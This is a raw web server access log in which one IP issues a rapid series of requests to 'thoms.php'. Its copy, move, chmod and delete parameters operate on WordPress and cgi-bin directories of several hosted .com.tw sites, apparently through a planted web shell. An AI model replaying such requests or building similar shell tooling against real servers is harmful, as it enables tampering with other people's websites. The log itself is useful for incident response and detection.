45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17604 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 21534 "http://163.245.207.76:443/thoms.php?del=wp-content-20260912023544&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?chmod=wp-content-20260912023544&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /wp-content-20260912023544/ HTTP/1.1" 200 768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12223 "http://163.245.207.76:443/thoms.php?copy=wp-content-20260912023544&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12546 "http://163.245.207.76:443/thoms.php?p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19388 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19387 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:35 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21534 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21495 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17367 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17368 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:36 -0400] "GET /thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13335 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13339 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 12593 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 13276 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 13414 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17523 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17523 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 14149 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 13619 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:37 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 28813 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 59201 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:38 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:39 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:39 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:40 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12055 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:40 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13431 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:39 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12597 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13286 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:41 -0400] "GET /thoms.php?copy=wp-content&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
